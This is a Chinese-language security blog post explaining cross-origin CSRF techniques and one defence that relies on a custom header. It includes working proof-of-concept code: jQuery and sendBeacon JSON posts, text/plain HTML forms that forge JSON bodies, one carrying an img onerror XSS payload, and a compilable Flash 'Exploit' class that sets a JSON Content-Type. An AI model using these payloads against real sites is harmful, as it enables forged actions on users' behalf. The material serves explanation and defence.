0x00 背景
同事在做CSRF的时候发现的。这里总结一下。
0x01 跨域的Simple Request
<script
src="https://code.jquery.com/jquery-2.2.4.min.js"
integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="
crossorigin="anonymous"></script>
<script>
$.ajax({
type: "POST",
url: "https://www.nevermoe.com",
data: "{hello}",
//contentType:"application/json; charset=utf-8",
//dataType:"json",
success: function(){
alert('success')
},
});
</script>
如果你使用上面这个script来post一个跨域的request到www.nevermoe.com,然后使用burp来查看浏览器的流量,你会发现,这个request虽然是跨域的,但是它确实被POST出去了,而且也得到了response。
但是在浏览器端,浏览器却不会将返回的数据进行渲染,因为浏览器发现response里并没有'Access-Control-Allow-Origin',所有浏览器默认会拒绝显示跨域请求。
虽然如此,但是显然我们的POST请求显然已经成功了,也就是说,如果用在csrf上已经足够了。
0x02 跨域的 Non-Simple Request -- 失败版
但是这里有个问题,刚刚的脚本我们发出去的request的Content-Type是'application/x-www-form-urlencoded; charset=UTF-8'、这种简单的(Simple)javascript的request(包括'text/plain')会被浏览器直接发送出去,但如果我们想发送json格式的跨域请求,其实是做不到的。可以把刚刚上面那段脚本的注释去掉试试,发现burp捕捉到的流量是这样的:
这不是一个POST请求,而是一个OPTIONS请求。这个是被浏览器替换掉掉请求。这个请求有个学名,叫做pre-flight request,是浏览器用来确认服务器的CORS设置的,当发出这个请求后,发现服务器的response里没有'Access-Control-Allow-Origin' Header,则浏览器不会把真正的POST request发出去。在chrome控制台里你会看到这样的错误:
如此一来用javascript POST json格式似乎就不可能了。
0x03 跨域的 Non-Simple Request -- 成功版
这是同事发现的方法:在chrome下,用navigator.sendBeacon配合Blob可以跨域发送json的request。代码如下:
<script>
function jsonreq() {
var blob= new Blob([JSON.stringify({"hello":"world"})], {type : 'application/json; charset=UTF-8'}); // the blob
navigator.sendBeacon('https://www.nevermoe.com', blob )
}
jsonreq();
</script>
在chrome上这段代码不会发送pre-flight request,所以完全可以成功POST。如下:
注意,firefox上并不能成功,所以这是chrome的一个security bug,该bug从2015年开始被报告,但至今仍未fix。
(注:最新chrome已修复该bug,2017/09/01.)
0x05 扩展:防御CSRF
注意到,如果javascript想要发送一个Non-simple的request,那么一定会出发浏览器的pre-flight request,我们可以利用这一点来防止CSRF,比如使用json格式而非text/plain格式。但是在上面的chrome的bug中,即使使用json也是有危险的,我们可以使用强制发送自定request的header来防御CSRF:如果服务器收到的请求中没有自定义header(如X-Requested-With),则不处理该请求。如此一来,如果想要实现跨域javascript的请求,就必须写出如下js:
$.ajax({
type: "POST",
url: "https://www.nevermoe.com",
data: "{hello}",
headers: {'X-Requested-With': 'XMLHttpRequest'},
//contentType:"application/json; charset=utf-8",
//contentType:"text/plain",
//dataType:"json",
success: function(){
alert('success')
},
});
但是该js发送的请求是Non-simple的,浏览器看到这样的跨域请求会首先进行pre-flight请求,确定服务器是否允许跨域添加header。这时显然无法bypass CORS。
这种实现方式有个明显的好处,就是是stateless的,程序员不需要花额外的精力维护csrf_token之类的东西,实现起来较为简单。
参考:独自ヘッダをチェックするだけのステートレスなCSRF対策は有効なのか?
0x06 注意
如果想要令jquery的ajax同时发送cookie,必须像这样使用"withCredentials":
$.ajax({
url: a_cross_domain_url,
xhrFields: {
withCredentials: true
}
});
并且用户的浏览器没有禁止第三方cookie,且服务器没有禁止WithCredentials。
在android的webview上,第三方cookie的是否允许的设置是这样的:
"Apps that target KITKAT or below default to allowing third party cookies. Apps targeting LOLLIPOP or later default to disallowing third party cookies."
也就是说在高版本的android webview中,即使withCredentials为true,默认也是无法用javascript发送带cookie的跨域请求的。
0x07 更新 2017.05.17
使用html form生成json数据
使用如下的方法可以生成一个Content-Type
是text/plain
的请求,且body部分是一个类似json的parameter(最后多了一个=号)。
<html>
<form action="https://example.com" method="post" enctype="text/plain">
<input name='{"greeting_message":["<img src=x onerror=alert(1)>"]}' value="">
<input type="submit">
</form>
</html>
如果服务器端没有判断只接受Content-Type为application/json的请求,且接受=号结尾的json格式,这样的csrf仍能够成立。
padding
如果你对多出来的等号不满意,可以构造如下html:
<html>
<form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
<input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
<input type=submit>
</form>
</html>
具体参见这篇文章:http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html。
0x08 更新 2017.09.12
其实如果你想把Content-Type设置为application/json,还是有办法的,可以使用flash+307 redirect来实现。具体参照这个网站:
https://woto.kim/json_csrf。
你可以通过反编译的他的flash文件来自己分析一下。
0x09 更新 2019.03.15
flash+307 redirect来实现csrf的方式现在仍然可以,但是只能改变Content-Type,如果想增加别的header话则会导致浏览器去请求目标网站的crossdomain.xml。从同事哪里得到的代码:
package {
import flash.net.*;
import flash.events.*;
import flash.display.*;
import flash.text.*;
import flash.display.MovieClip;
import flash.external.ExternalInterface;
public class Exploit extends MovieClip
{
public function Exploit()
{
var txt:TextField = new TextField();
txt.text = "Hello!";
txt.x = 20;
txt.y = 20;
addChild(txt);
var parent:Object = loaderInfo.parameters;
// ExternalInterface.call("alert", parent["data"]);
var req:URLRequest = new URLRequest(parent["url"]);
req.method = URLRequestMethod.POST;
var header:URLRequestHeader = new URLRequestHeader("Content-type", "application/json");
req.requestHeaders.push(header);
req.data = parent["data"];
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.TEXT
loader.load(req);
// var header2:URLRequestHeader = new URLRequestHeader("X-Requested-With", "XMLHttpRequest");
// req.requestHeaders.push(header2);
//var header2:URLRequestHeader = new URLRequestHeader("X-Haru", "yes");
//req.requestHeaders.push(header2);
//loader.addEventListener(Event.COMPLETE, loaderCompleteHD);
//loader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHD);
var txt2:TextField = new TextField();
txt2.text = "Hello!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";
txt2.x = 20;
txt2.y = 20;
addChild(txt2);
}
}
}
编译:
mxmlc Exploit.as -static-link-runtime-shared-libraries=true